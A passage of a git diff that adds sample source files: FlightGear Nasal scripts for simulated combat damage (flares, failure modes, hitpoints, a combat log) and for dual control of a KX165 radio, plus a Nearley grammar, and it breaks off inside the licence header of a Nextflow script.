+      var msg = notifications.ObjectInFlightNotification.new("ffly", flare[6], DESTROY, 21+95);
+      msg.Flags = 0;
+      msg.Position = flare[2];
+      msg.IsDistinct = 1;
+      msg.RemoteCallsign = "";
+      msg.UniqueIndex = flare[6];
+      msg.Pitch = 0;
+      msg.Heading = 0;
+      msg.u_fps = 0;
+      notifications.objectBridgedTransmitter.NotifyAll(msg);
+      continue;
+    }
+    if (flares_sent < flares_max_process_per_loop) {
+      var flare_dt = stime-flare[0];
+      #       update_t,start_t, coord,    heading,  speed_down_mps,                                                                   , speed_horiz_mps,                  unique
+      flare = [stime, flare[1], flare[2], flare[3], (flare[4]<flare_terminal_speed)?(flare[4]+flare_dt*9.83*0.5):(flare[4]-flare_dt*3), math.max(0,flare[5]-flare_dt*20), flare[6]];
+      flare[2].apply_course_distance(flare[3], flare_dt*flare[5]);
+      flare[2].set_alt(flare[2].alt()-flare_dt*flare[4]);
+      
+      var msg = notifications.ObjectInFlightNotification.new("ffly", flare[6], MOVE, 21+95);
+      msg.Flags = 0;
+      msg.Position = flare[2];
+      msg.IsDistinct = 1;
+      msg.RemoteCallsign = "";
+      msg.UniqueIndex = flare[6];
+      msg.Pitch = 0;
+      msg.Heading = 0;
+      msg.u_fps = 0;
+      notifications.objectBridgedTransmitter.NotifyAll(msg);
+      flares_sent += 1;
+    }
+    append(old_flares, flare);
+  }
+  flare_list = old_flares;
+  if(auto_flare_caller) {
+    auto_flare_released();
+  }  
+}
+var flaretimer = maketimer(flare_update_time, animate_flare);
+flaretimer.start();
+
+var auto_flare_released = func {
+  # This detects own flares releases
+  var prop = getprop("rotors/main/blade[3]/flap-deg");
+  var stime = systime();
+  if (prop != nil and prop != 0 and prop != last_prop and stime-last_release > 1)  {
+    flare_released();
+    last_release = stime;
+  }
+  last_prop = prop;
+}
+
+var flare_released = func {
+    if (!getprop("payload/armament/msg")) {
+      return;
+    }
+    # We released a flare. If you call this method manually, then make sure 'auto_flare_caller' is false.
+    var stime = systime();
+    var flare =[stime, stime,
+                geo.aircraft_position(),
+                getprop("orientation/heading-deg"),
+                FT2M*getprop("velocities/speed-down-fps"),
+                FT2M*math.sqrt(getprop("velocities/speed-north-fps")*getprop("velocities/speed-north-fps")+getprop("velocities/speed-east-fps")*getprop("velocities/speed-east-fps")),
+                int(rand()*200)-100];
+    append(flare_list, flare);
+    var msg = notifications.ObjectInFlightNotification.new("ffly", flare[6], MOVE, 21+95);
+    msg.Flags = 0;
+    msg.Position = flare[2];
+    msg.IsDistinct = 1;
+    msg.RemoteCallsign = "";
+    msg.UniqueIndex = flare[6];
+    msg.Pitch = 0;
+    msg.Heading = 0;
+    msg.u_fps = 0;
+    notifications.objectBridgedTransmitter.NotifyAll(msg);
+}
+
+#==================================================================
+#                       Notification for getting craters
+#==================================================================
+
+setlistener("sim/multiplay/online", func {
+  check_for_Request();
+},0,0);
+
+setlistener("payload/armament/msg", func {
+  check_for_Request();
+},0,0);
+
+var last_check = -65;
+
+var check_for_Request = func {
+  # This sends out a notification to ask other aircraft for all craters
+  if (getprop("payload/armament/enable-craters") == 1 and getprop("sim/multiplay/online") and getprop("payload/armament/msg") and systime()-last_check > 60) {
+    last_check = systime();
+    var msg = notifications.StaticNotification.new("stat", int(rand()*15000000), REQUEST_ALL, 0);
+    msg.IsDistinct = 0;
+    msg.Heading = 0;
+    notifications.hitBridgedTransmitter.NotifyAll(msg);
+  } else {
+  }
+}
+
+settimer(check_for_Request, 60);# for aircraft like mig21 that starts with damage enabled
+
+#==================================================================
+#                       Damage functions
+#==================================================================
+
+var maxDamageDistFromWarhead = func (lbs) {
+  # Calc at what distance the warhead will do zero damage every time.
+  var dist = 3*math.sqrt(lbs);
+
+  return dist;
+}
+
+var fail_systems = func (probability, factor = 100) {#this factor needs tuning after all asset hitpoints have been evaluated.
+    if (is_fleet) {
+      return fail_fleet_systems(probability, factor);
+    } elsif (use_hitpoints_instead_of_failure_modes_bool) {
+      hp -= factor * probability*(0.75+rand()*0.25);# from 75 to 100% damage
+      printf("HP: %d/%d", hp, hp_max);
+      setprop("sam/damage", math.max(0,100*hp/hp_max));#used in HUD
+      if ( hp < 0 ) {
+        setprop("/carrier/sunk/",1);#we are dead
+        setprop("/sim/multiplay/generic/int[2]",1);#radar off
+        setprop("/sim/multiplay/generic/int[0]",1);#smoke on
+        setprop("/sim/messages/copilot", getprop("sim/multiplay/callsign")~" dead.");
+      }
+      return -1;
+    } else {
+      var failure_modes = FailureMgr._failmgr.failure_modes;
+      var mode_list = keys(failure_modes);
+      var failed = 0;
+      foreach(var failure_mode_id; mode_list) {
+        #print(failure_mode_id);
+          if (rand() < probability) {
+              FailureMgr.set_failure_level(failure_mode_id, 1);
+              failed += 1;
+              if (getprop("sim/flight-model") == "yasim") {
+                if (failure_mode_id == "Engines/engine" and yasim_list2 == nil) {
+                  # fail  yasim:
+                  setprop("sim/model/uh1/state",0);
+                  setprop("controls/engines/engine/magnetos", 0);
+                  setprop("controls/engines/engine/cutoff", 1);
+                  setprop("controls/engines/engine/on-fire", 1);
+                  #set a listener so that if a restart is attempted, it'll fail.
+                  yasim_list = setlistener("sim/model/uh1/state",func {setprop("sim/model/uh1/state",0);});
+                  yasim_list2 = setlistener("controls/engines/engine/cutoff",func {setprop("controls/engines/engine/cutoff",1);});
+                }
+                if (failure_mode_id == "Engines/engine[1]" and yasim_list3 == nil) {
+                  # fail  yasim:
+                  setprop("controls/engines/engine[1]/magnetos", 0);
+                  setprop("controls/engines/engine[1]/cutoff", 1);
+                  setprop("controls/engines/engine[1]/on-fire", 1);
+                  #set a listener so that if a restart is attempted, it'll fail.
+                  yasim_list3 = setlistener("controls/engines/engine[1]/cutoff",func {setprop("controls/engines/engine[1]/cutoff",1);});
+                }
+                if (failure_mode_id == "Engines/engine[2]" and yasim_list4 == nil) {
+                  # fail  yasim:
+                  setprop("controls/engines/engine[2]/magnetos", 0);
+                  setprop("controls/engines/engine[2]/cutoff", 1);
+                  setprop("controls/engines/engine[2]/on-fire", 1);
+                  #set a listener so that if a restart is attempted, it'll fail.
+                  yasim_list4 = setlistener("controls/engines/engine[2]/cutoff",func {setprop("controls/engines/engine[2]/cutoff",1);});
+                }
+                if (failure_mode_id == "Engines/engine[3]" and yasim_list5 == nil) {
+                  # fail  yasim:
+                  setprop("controls/engines/engine[3]/magnetos", 0);
+                  setprop("controls/engines/engine[3]/cutoff", 1);
+                  setprop("controls/engines/engine[3]/on-fire", 1);
+                  #set a listener so that if a restart is attempted, it'll fail.
+                  yasim_list5 = setlistener("controls/engines/engine[3]/cutoff",func {setprop("controls/engines/engine[3]/cutoff",1);});
+                }
+              }
+          }
+      }
+      
+      return failed;
+    }
+};
+var yasim_list = nil;
+var yasim_list2 = nil;
+var yasim_list3 = nil;
+var yasim_list4 = nil;
+var yasim_list5 = nil;
+
+var repairYasim = func {
+  if (yasim_list != nil) {removelistener(yasim_list); yasim_list=nil;}
+  if (yasim_list2 != nil) {removelistener(yasim_list2); yasim_list2=nil;}
+  if (yasim_list3 != nil) {removelistener(yasim_list3); yasim_list3=nil;}
+  if (yasim_list4 != nil) {removelistener(yasim_list4); yasim_list4=nil;}
+  if (yasim_list5 != nil) {removelistener(yasim_list5); yasim_list5=nil;}
+  setprop("controls/engines/engine[0]/on-fire", 0);
+  setprop("controls/engines/engine[1]/on-fire", 0);
+  setprop("controls/engines/engine[2]/on-fire", 0);
+  setprop("controls/engines/engine[3]/on-fire", 0);
+  setprop("sim/crashed", 0);
+  var failure_modes = FailureMgr._failmgr.failure_modes;
+  var mode_list = keys(failure_modes);
+
+    foreach(var failure_mode_id; mode_list) {
+      FailureMgr.set_failure_level(failure_mode_id, 0);
+    }
+}
+
+setlistener("/sim/signals/reinit", repairYasim);
+
+hp_f = [hp_max,hp_max,hp_max,hp_max,hp_max,hp_max,hp_max];
+
+var fail_fleet_systems = func (probability, factor) {
+  
+  var sinking_ships = (hp_f[0]<0) + (hp_f[1]<0) + (hp_f[2]<0) + (hp_f[3]<0) + (hp_f[4]<0) + (hp_f[5]<0) + (hp_f[6]<0);
+  var hit_sinking = 0;
+  if (sinking_ships == 0) {
+    hit_sinking = 0;
+  } elsif (sinking_ships == 7) {
+    hit_sinking = 1;
+  } else {
+    hit_sinking = rand()<0.10;
+  }
+  if (hit_sinking) {
+    armament.defeatSpamFilter("You shot one of our already sinking ships, you are just mean.");
+    return;
+  }
+ 
+  var no = 0;
+  
+  for (no=0; no < 7; no+=1) {
+    if (hp_f[no] > 0) {
+      break;
+    }
+  }
+  hp_f[no] -= factor * probability*(0.75+rand()*0.25);# from 75 to 100% damage
+  printf("HP[%d]: %d/%d", no, hp_f[no], hp_max);
+  #setprop("sam/damage", math.max(0,100*hp/hp_max));#used in HUD
+  if ( hp_f[no] < 0 ) {
+    setprop("/sim/multiplay/generic/bool["~(no+40)~"]",1);
+    armament.defeatSpamFilter("So you sank one of our ships, we will get you for that!");
+    if (!getprop("/carrier/disabled") and hp_f[0]<0 and hp_f[1]<0 and hp_f[2]<0) {
+      setprop("/carrier/disabled",1);
+      armament.defeatSpamFilter("Captain our offensive capability is crippled!");
+    }
+    if (hp_f[0]<0 and hp_f[1]<0 and hp_f[2]<0 and hp_f[3]<0 and hp_f[4]<0 and hp_f[5]<0 and hp_f[6]<0) {
+      setprop("/carrier/sunk",1);
+      setprop("/sim/multiplay/generic/int[2]",1);#radar off
+      setprop("/sim/messages/copilot", getprop("sim/multiplay/callsign")~" dead.");
+      armament.defeatSpamFilter("S.O.S. Heeelp");
+    } else {
+      armament.defeatSpamFilter("This is not over yet..");
+    }    
+  }
+  return -1;
+};
+
+setlistener("payload/armament/MLW-count", func {
+  setLaunch(getprop("payload/armament/MLW-launcher"), 0);#TODO: figure out if that callsign is a SAM/ship.
+});
+
+#==================================================================
+#                       RWR and sound functions
+#==================================================================
+
+var setLaunch = func (c,s) {
+  setprop("sound/rwr-launch-sam", s);
+  setprop("sound/rwr-launch", c);
+  settimer(func {stopLaunch();},7);
+}
+
+var stopLaunch = func () {
+  setprop("sound/rwr-launch", "");
+  setprop("sound/rwr-launch-sam", 0);
+}
+
+var playIncomingSound = func (clock) {
+  setprop("sound/incoming"~clock, 1);
+  settimer(func {stopIncomingSound(clock);},3);
+}
+
+var stopIncomingSound = func (clock) {
+  setprop("sound/incoming"~clock, 0);
+}
+
+var nearby_explosion = func {
+  setprop("damage/sounds/nearby-explode-on", 0);
+  settimer(nearby_explosion_a, 0);
+}
+
+var nearby_explosion_a = func {
+  setprop("damage/sounds/nearby-explode-on", 1);
+  settimer(nearby_explosion_b, 0.5);
+}
+
+var nearby_explosion_b = func {
+  setprop("damage/sounds/nearby-explode-on", 0);
+}
+
+#==================================================================
+#                       Helper functions
+#==================================================================
+
+var callsign_struct = {};
+var getCallsign = func (callsign) {
+  var node = callsign_struct[callsign];
+  return node;
+}
+
+var MAW_elapsed = 0;
+
+var processCallsigns = func () {
+  callsign_struct = {};
+  var players = props.globals.getNode("ai/models").getChildren();
+  var myCallsign = getprop("sim/multiplay/callsign");
+  myCallsign = size(myCallsign) < 8 ? myCallsign : left(myCallsign,7);
+  var painted = 0;
+  foreach (var player; players) {
+    if(player.getChild("valid") != nil and player.getChild("valid").getValue() == TRUE and player.getChild("callsign") != nil and player.getChild("callsign").getValue() != "" and player.getChild("callsign").getValue() != nil) {
+      var callsign = player.getChild("callsign").getValue();
+      callsign_struct[callsign] = player;
+      var str6 = player.getNode("sim/multiplay/generic/string[6]");
+      if (str6 != nil and str6.getValue() != nil and str6.getValue() != "" and size(""~str6.getValue())==4 and left(md5(myCallsign),4) == str6.getValue()) {
+        painted = 1;
+      }
+    }
+  }
+  setprop("payload/armament/spike", painted);
+  if (getprop("sim/time/elapsed-sec")-MAW_elapsed > 1.1) {
+      setprop("payload/armament/MAW-active", 0);# resets every 1.1 seconds without warning
+  }
+}
+processCallsignsTimer = maketimer(1.5, processCallsigns);
+processCallsignsTimer.simulatedTime = 1;
+processCallsignsTimer.start();
+
+#==================================================================
+#                       Stuff
+#==================================================================
+
+var code_ct = func () {
+  #ANTIC
+  if (getprop("payload/armament/msg")) {
+      setprop("sim/rendering/redout/enabled", TRUE);
+      #call(func{fgcommand('dialog-close', multiplayer.dialog.dialog.prop())},nil,var err= []);# props.Node.new({"dialog-name": "location-in-air"}));
+      call(func{multiplayer.dialog.del();},nil,var err= []);
+      if (!getprop("gear/gear[0]/wow")) {
+        call(func{fgcommand('dialog-close', props.Node.new({"dialog-name": "WeightAndFuel"}))},nil,var err2 = []);
+        call(func{fgcommand('dialog-close', props.Node.new({"dialog-name": "system-failures"}))},nil,var err2 = []);
+        call(func{fgcommand('dialog-close', props.Node.new({"dialog-name": "instrument-failures"}))},nil,var err2 = []);
+      }      
+      setprop("sim/freeze/fuel",0);
+      setprop("/sim/speed-up", 1);
+      setprop("/gui/map/draw-traffic", 0);
+      setprop("/sim/gui/dialogs/map-canvas/draw-TFC", 0);
+      #fgcommand("timeofday", props.Node.new({"timeofday": "real"}));
+      #setprop("/sim/rendering/als-filters/use-filtering", 1);
+      call(func{var interfaceController = fg1000.GenericInterfaceController.getOrCreateInstance();
+      interfaceController.stop();},nil,var err2=[]);      
+  }  
+}
+code_ctTimer = maketimer(1, code_ct);
+code_ctTimer.simulatedTime = 1;
+
+
+
+setprop("/sim/failure-manager/display-on-screen", FALSE);
+
+code_ctTimer.start();
+
+#==================================================================
+#                       Relocation function
+#==================================================================
+
+var re_init = func (node) {
+  # repair the aircraft
+  if (node.getValue() == 0) return;
+  
+  var failure_modes = FailureMgr._failmgr.failure_modes;
+  var mode_list = keys(failure_modes);
+
+  foreach(var failure_mode_id; mode_list) {
+    FailureMgr.set_failure_level(failure_mode_id, 0);
+  }
+  damageLog.push("Aircraft was repaired due to re-init.");
+}
+
+#==================================================================
+#                       Event log
+#==================================================================
+
+var damageLog = events.LogBuffer.new(echo: 0);
+
+damageLog.push("Flightgear "~getprop("sim/version/flightgear")~" was loaded up with "~getprop("sim/description")~" - "~getprop("sim/time/gmt"));
+
+setlistener("/sim/signals/reinit", re_init, 0, 0);
+
+setlistener("payload/armament/msg", func {damageLog.push("Damage is now "~(getprop("payload/armament/msg")?"ON.":"OFF."));}, 1, 0);
+
+setlistener("sim/multiplay/callsign", func {damageLog.push("Callsign is now "~getprop("sim/multiplay/callsign"));}, 1, 0);
+
+setlistener("sim/multiplay/online", func {damageLog.push(getprop("sim/multiplay/online")?("Connected to "~getprop("sim/multiplay/txhost")):"Disconnected from MP.");}, 1, 0);
+
+var printDamageLog = func {
+  if (getprop("payload/armament/msg")) {print("disable damage to use this function");return;}
+  var buffer = damageLog.get_buffer();
+  var str = "";
+  foreach(entry; buffer) {
+      str = str~"    "~entry.time~" "~entry.message~"\n";
+  }
+  print();
+  print(str);
+  print();
+}
+
+#TODO testing:
+
+var writeDamageLog = func {
+  var output_file = getprop("/sim/fg-home") ~ "/Export/combat-log.txt";
+  var buffer = damageLog.get_buffer();
+  var str = "\n";
+  foreach(entry; buffer) {
+      str = str~"    "~entry.time~" "~entry.message~"\n";
+  }
+  str = str ~ "\n";
+  var file = nil;
+  if (io.stat(output_file) == nil) {
+    file = io.open(output_file, "w");
+    io.close(file);
+  }
+  file = io.open(output_file, "a");
+  io.write(file, str);
+  io.close(file);
+}
+
+setlistener("sim/signals/exit", writeDamageLog, 0, 0);
+
+#screen.property_display.add("payload/armament/MAW-bearing");
+#screen.property_display.add("payload/armament/MAW-active");
+#screen.property_display.add("payload/armament/MLW-bearing");
+#screen.property_display.add("payload/armament/MLW-count");
+#screen.property_display.add("payload/armament/MLW-launcher");
+#screen.property_display.add("payload/armament/spike");
\ No newline at end of file
diff --git a/samples/Nasal/kx165tso.nas b/samples/Nasal/kx165tso.nas
new file mode 100644
index 0000000000..659cb521aa
--- /dev/null
+++ b/samples/Nasal/kx165tso.nas
@@ -0,0 +1,335 @@
+###############################################################################
+##
+## Nasal for dual control of a KX165 NavComm radio over the multiplayer
+## network.
+##
+##  Copyright (C) 2007 - 2011  Anders Gidenstam  (anders(at)gidenstam.org)
+##  This file is licensed under the GPL license version 2 or later.
+##
+###############################################################################
+
+# Note:
+#  This module MUST be loaded as KX165.
+#
+
+# Slave button presses.
+var swap_btn    = "frq-swap-btn";
+var freq_decS   = "freq-decS-clicked";
+var freq_incS   = "freq-incS-clicked";
+var freq_decL   = "freq-decL-clicked";
+var freq_incL   = "freq-incL-clicked";
+
+# Settings
+var freq_selected = "frequencies/selected-mhz";
+var freq_standby  = "frequencies/standby-mhz";
+
+var comm_base = ["instrumentation/comm[0]",
+                 "instrumentation/comm[1]"];
+var nav_base = ["instrumentation/nav[0]",
+                "instrumentation/nav[1]"];
+
+###########################################################################
+var master_kx165tso = {
+  new : func(n) {
+    var obj = {};
+    obj.parents = [master_kx165tso];
+    obj.nav_base  = props.globals.getNode("instrumentation/nav[" ~ n ~ "]");
+    obj.comm_base = props.globals.getNode("instrumentation/comm[" ~ n ~ "]");
+    return obj;
+  },
+  swap_nav : func() {
+    var tmp = me.nav_base.getNode(freq_selected).getValue();
+    me.nav_base.getNode(freq_selected).setValue
+      (me.nav_base.getNode(freq_standby).getValue());
+    me.nav_base.getNode(freq_standby).setValue(tmp);
+  },
+  swap_comm : func() {
+    var tmp = me.comm_base.getNode(freq_selected).getValue();
+    me.comm_base.getNode(freq_selected).setValue
+      (me.comm_base.getNode(freq_standby).getValue());
+    me.comm_base.getNode(freq_standby).setValue(tmp);
+  },
+  adjust_nav_frequency : func(d) {
+    adjust_radio_frequency(
+      me.nav_base.getNode(freq_standby),
+      d,
+      108,
+      117.95);
+  },
+  adjust_comm_frequency : func(d) {
+    adjust_radio_frequency(
+      me.comm_base.getNode(freq_standby),
+      d,
+      118,
+      135.975);
+  }
+};
+
+###########################################################################
+var slave_kx165tso = {
+  new : func(n, airoot) {
+    var obj = {};
+    obj.parents = [slave_kx165tso];
+    obj.root = airoot;
+    obj.nav_base  = props.globals.getNode("instrumentation/nav[" ~ n ~ "]");
+    obj.comm_base = props.globals.getNode("instrumentation/comm[" ~ n ~ "]");
+    return obj;
+  },
+  swap_nav : func() {
+    var p = me.nav_base.getNode(swap_btn);
+#    print("KX165tso[?].NAVSWAP");
+    if (!p.getValue()) {
+      p.setValue(1);
+      settimer(func { p.setValue(0); },
+               1.0);
+    }
+  },
+  swap_comm : func() {
+    var p = me.comm_base.getNode(swap_btn);
+#    print("KX165tso[?].COMMSWAP");
+    if (!p.getValue()) {
+      p.setValue(1);
+      settimer(func { p.setValue(0); },
+               1.0);
+    }
+  },
+  adjust_nav_frequency : func(d) {
+    var p = 0;
+    if (abs(d) < 0.99) {
+      p = (d < 0) ? me.nav_base.getNode(freq_decS)
+                  : me.nav_base.getNode(freq_incS);
+    } else {
+      p = (d < 0) ? me.nav_base.getNode(freq_decL)
+                  : me.nav_base.getNode(freq_incL);
+    }
+    if (!p.getValue()) {
+      p.setValue(1);
+      settimer(func { p.setValue(0); },
+               1.0);
+    }
+  },
+  adjust_comm_frequency : func(d) {
+    var p = 0;
+    if (abs(d) < 0.99) {
+      p = (d < 0) ? me.comm_base.getNode(freq_decS)
+                  : me.comm_base.getNode(freq_incS);
+    } else {
+      p = (d < 0) ? me.comm_base.getNode(freq_decL)
+                  : me.comm_base.getNode(freq_incL);
+    }
+    if (!p.getValue()) {
+      p.setValue(1);
+      settimer(func { p.setValue(0); },
+               1.0);
+    }
+  }
+};
+
+###########################################################################
+#  The KX-165 pick animations default to master.
+#  NOTE: Use make_master() and make_slave_to().
+#        Do NOT change kx165tso directly.
+var kx165tso = [master_kx165tso.new(0), master_kx165tso.new(1)];
+
+
+###########################################################################
+# API for pick animations and dual control setup.
+###########################################################################
+
+###########################################################################
+# n - NavComm#
+var make_master = func(n) {
+  kx165tso[n] = master_kx165tso.new(n);
+}
+
+###########################################################################
+# n - NavComm#
+var make_slave_to = func(n, airoot) {
+  kx165tso[n] = slave_kx165tso.new(n, airoot);
+}
+
+###########################################################################
+# n - NavComm#
+var swap_nav = func(n) {
+  kx165tso[n].swap_nav();
+}
+
+###########################################################################
+# n - NavComm#
+var swap_comm = func(n, b) {
+  kx165tso[n].comm_base.getNode(swap_btn, 1).setValue(b);
+  if (b) kx165tso[n].swap_comm();
+}
+
+###########################################################################
+# n - NavComm#
+# d - adjustment
+var adjust_nav_frequency = func(n, d) {
+  kx165tso[n].adjust_nav_frequency(d);
+}
+
+###########################################################################
+# n - NavComm#
+# d - adjustment
+var adjust_comm_frequency = func(n, d) {
+  kx165tso[n].adjust_comm_frequency(d);
+}
+
+###########################################################################
+# Create aliases to drive a radio 3d model in an AI/MP model. 
+# n - NavComm#
+var animate_aimodel = func(n, airoot) {
+  # Comm
+  var base = comm_base[n];
+  var p = "systems/electrical/outputs/comm["~ n ~"]";
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = "instrumentation/comm["~ n ~"]/serviceable";
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ freq_selected;
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ freq_standby;
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ swap_btn;
+  props.globals.getNode(p, 1).alias(airoot.getNode(p));
+  # Nav
+  base = nav_base[n];
+  p = "systems/electrical/outputs/nav["~ n ~"]";
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = "instrumentation/nav["~ n ~"]/serviceable";
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ freq_selected;
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ freq_standby;
+  airoot.getNode(p, 1).alias(props.globals.getNode(p));
+  p = base ~ "/" ~ swap_btn;
+  props.globals.getNode(p, 1).alias(airoot.getNode(p));
+}
+
+###########################################################################
+# Create a TDMEncoder node array for sending the current radio state to
+# slaves.  
+# n - NavComm#
+var master_send_state = func(n) {
+  var cb = props.globals.getNode(comm_base[n]);
+  var nb = props.globals.getNode(nav_base[n]);
+  return
+    [
+     cb.getNode(freq_selected),
+     cb.getNode(freq_standby),
+     nb.getNode(freq_selected),
+     nb.getNode(freq_standby)
+    ];
+}
+
+###########################################################################
+# Create a SwitchDecoder action array for processing button presses
+# from a slave.  
+# n - Comm#
+var master_receive_slave_buttons = func(n) {
+  return
+    [
+     # Comm
+     func (b) {
+         if (b) {
+             swap_comm(n, 1);
+             settimer(func { swap_comm(n, 0); }, 1.0)
+         }
+     },
+     func (b) {
+         if (b) { adjust_comm_frequency(n, -0.025); }
+     },
+     func (b) {
+         if (b) { adjust_comm_frequency(n, 0.025); }
+     },
+     func (b) {
+         if (b) { adjust_comm_frequency(n, -1.0); }
+     },
+     func (b) {
+         if (b) { adjust_comm_frequency(n, 1.0); }
+     },
+     # Nav
+     func (b) {
+         if (b) { swap_nav(n); }
+     },
+     func (b) {
+         if (b) { adjust_nav_frequency(n, -0.05); }
+     },
+     func (b) {
+         if (b) { adjust_nav_frequency(n, 0.05); }
+     },
+     func (b) {
+         if (b) { adjust_nav_frequency(n, -1.0); }
+     },
+     func (b) {
+         if (b) { adjust_nav_frequency(n, 1.0); }
+     }
+    ];
+}
+
+###########################################################################
+# Create a TDMDecoder action array for processing the radio state
+# from the master.
+# n - NavComm#
+var slave_receive_master_state = func(n) {
+  var cb = props.globals.getNode(comm_base[n]);
+  var nb = props.globals.getNode(nav_base[n]);
+  return
+    [
+     func (v) {
+         cb.getNode(freq_selected).setValue(v);
+     },
+     func (v) {
+         cb.getNode(freq_standby).setValue(v);
+     },
+     func (v) {
+         nb.getNode(freq_selected).setValue(v);
+     },
+     func (v) {
+         nb.getNode(freq_standby).setValue(v);
+     }
+    ];
+}
+
+###########################################################################
+# Create a SwitchEncoder node array for sending button presses
+# to the master
+# n - NavComm#
+var slave_send_buttons = func(n) {
+  var cb = props.globals.getNode(comm_base[n]);
+  var nb = props.globals.getNode(nav_base[n]);
+  return
+    [
+     # Comm
+     cb.getNode(swap_btn, 1),
+     cb.getNode(freq_decS, 1),
+     cb.getNode(freq_incS, 1),
+     cb.getNode(freq_decL, 1),
+     cb.getNode(freq_incL, 1),
+     # Nav
+     nb.getNode(swap_btn, 1),
+     nb.getNode(freq_decS, 1),
+     nb.getNode(freq_incS, 1),
+     nb.getNode(freq_decL, 1),
+     nb.getNode(freq_incL, 1)     
+    ];
+}
+
+
+
+###########################################################################
+# Generic frequency stepper.
+#  f   - frequency property
+#  d   - change
+#  min - min frequency
+#  max - max frequency
+var adjust_radio_frequency = func(f, d, min, max) {
+  var old = f.getValue();
+  var new = old + d;
+  if (new < min - 0.005) { new = int(max) + (new - int(new)); }
+  if (new > max + 0.005) {
+      new = int(min) + (new - int(new));
+      if (int(new + 0.005) > min) new -= 1;
+  }
+#  print("Old: " ~ old ~ "  Intermediate: " ~ (old + d) ~ "  New: " ~ new);
+  f.setValue(new);
+}
diff --git a/samples/Nearley/nearley-language-bootstrapped.ne b/samples/Nearley/nearley-language-bootstrapped.ne
new file mode 100644
index 0000000000..feafa1d509
--- /dev/null
+++ b/samples/Nearley/nearley-language-bootstrapped.ne
@@ -0,0 +1,106 @@
+# nearley grammar
+@builtin "string.ne"
+
+@{%
+
+function insensitive(sl) {
+    var s = sl.literal;
+    result = [];
+    for (var i=0; i<s.length; i++) {
+        var c = s.charAt(i);
+        if (c.toUpperCase() !== c || c.toLowerCase() !== c) {
+            result.push(new RegExp("[" + c.toLowerCase() + c.toUpperCase() + "]"));
+        } else {
+            result.push({literal: c});
+        }
+    }
+    return {subexpression: [{tokens: result, postprocess: function(d) {return d.join(""); }}]};
+}
+
+%}
+
+final -> whit? prog whit?  {% function(d) { return d[1]; } %}
+
+prog -> prod  {% function(d) { return [d[0]]; } %}
+      | prod whit prog  {% function(d) { return [d[0]].concat(d[2]); } %}
+
+prod -> word whit? ("-"|"="):+ ">" whit? expression+  {% function(d) { return {name: d[0], rules: d[5]}; } %}
+      | word "[" wordlist "]" whit? ("-"|"="):+ ">" whit? expression+ {% function(d) {return {macro: d[0], args: d[2], exprs: d[8]}} %}
+      | "@" whit? js  {% function(d) { return {body: d[2]}; } %}
+      | "@" word whit word  {% function(d) { return {config: d[1], value: d[3]}; } %}
+      | "@include"  whit? string {% function(d) {return {include: d[2].literal, builtin: false}} %}
+      | "@builtin"  whit? string {% function(d) {return {include: d[2].literal, builtin: true }} %}
+
+expression+ -> completeexpression
+             | expression+ whit? "|" whit? completeexpression  {% function(d) { return d[0].concat([d[4]]); } %}
+
+expressionlist -> completeexpression
+             | expressionlist whit? "," whit? completeexpression {% function(d) { return d[0].concat([d[4]]); } %}
+
+wordlist -> word
+            | wordlist whit? "," whit? word {% function(d) { return d[0].concat([d[4]]); } %}
+
+completeexpression -> expr  {% function(d) { return {tokens: d[0]}; } %}
+                    | expr whit? js  {% function(d) { return {tokens: d[0], postprocess: d[2]}; } %}
+
+expr_member ->
+      word {% id %}
+    | "$" word {% function(d) {return {mixin: d[1]}} %}
+    | word "[" expressionlist "]" {% function(d) {return {macrocall: d[0], args: d[2]}} %} 
+    | string "i":? {% function(d) { if (d[1]) {return insensitive(d[0]); } else {return d[0]; } } %}
+    | "%" word {% function(d) {return {token: d[1]}} %}
+    | charclass {% id %}
+    | "(" whit? expression+ whit? ")" {% function(d) {return {'subexpression': d[2]} ;} %}
+    | expr_member whit? ebnf_modifier {% function(d) {return {'ebnf': d[0], 'modifier': d[2]}; } %}
+
+ebnf_modifier -> ":+" {% id %} | ":*" {% id %} | ":?" {% id %}
+
+expr -> expr_member
+      | expr whit expr_member  {% function(d){ return d[0].concat([d[2]]); } %}
+
+word -> [\w\?\+]  {% function(d){ return d[0]; } %}
+      | word [\w\?\+]  {% function(d){ return d[0]+d[1]; } %}
+
+string -> dqstring {% function(d) {return { literal: d[0] }; } %}
+#string -> "\"" charset "\""  {% function(d) { return { literal: d[1].join("") }; } %}
+#
+#charset -> null
+#         | charset char  {% function(d) { return d[0].concat([d[1]]); } %}
+#
+#char -> [^\\"]  {% function(d) { return d[0]; } %}
+#      | "\\" .  {% function(d) { return JSON.parse("\""+"\\"+d[1]+"\""); } %}
+
+charclass -> "."  {% function(d) { return new RegExp("."); } %}
+           | "[" charclassmembers "]"  {% function(d) { return new RegExp("[" + d[1].join('') + "]"); } %}
+
+charclassmembers -> null
+                  | charclassmembers charclassmember  {% function(d) { return d[0].concat([d[1]]); } %}
+
+charclassmember -> [^\\\]]  {% function(d) { return d[0]; } %}
+                 | "\\" .  {% function(d) { return d[0] + d[1]; } %}
+
+js -> "{" "%" jscode "%" "}"  {% function(d) { return d[2]; } %}
+
+jscode -> null  {% function() {return "";} %}
+        | jscode [^%]  {% function(d) {return d[0] + d[1];} %}
+        | jscode "%" [^}] {% function(d) {return d[0] + d[1] + d[2]; } %}
+
+# Whitespace with a comment
+whit -> whitraw
+      | whitraw? comment whit?
+
+# Optional whitespace with a comment
+whit? -> null
+       | whit
+
+# Literally a string of whitespace
+whitraw -> [\s]
+         | whitraw [\s]
+
+# A string of whitespace OR the empty string
+whitraw? -> null
+          | whitraw
+
+comment -> "#" commentchars "\n"
+commentchars -> null
+              | commentchars [^\n]
diff --git a/samples/Nextflow/blast.nf b/samples/Nextflow/blast.nf
new file mode 100644
index 0000000000..1150d49063
--- /dev/null
+++ b/samples/Nextflow/blast.nf
@@ -0,0 +1,67 @@
+#!/usr/bin/env nextflow
+/*
+ * This is free and unencumbered software released into the public domain.
+ * 
+ * Anyone is free to copy, modify, publish, use, compile, sell, or
+ * distribute this software, either in source code form or as a compiled
+ * binary, for any purpose, commercial or non-commercial, and by any
+ * means.
+ * 
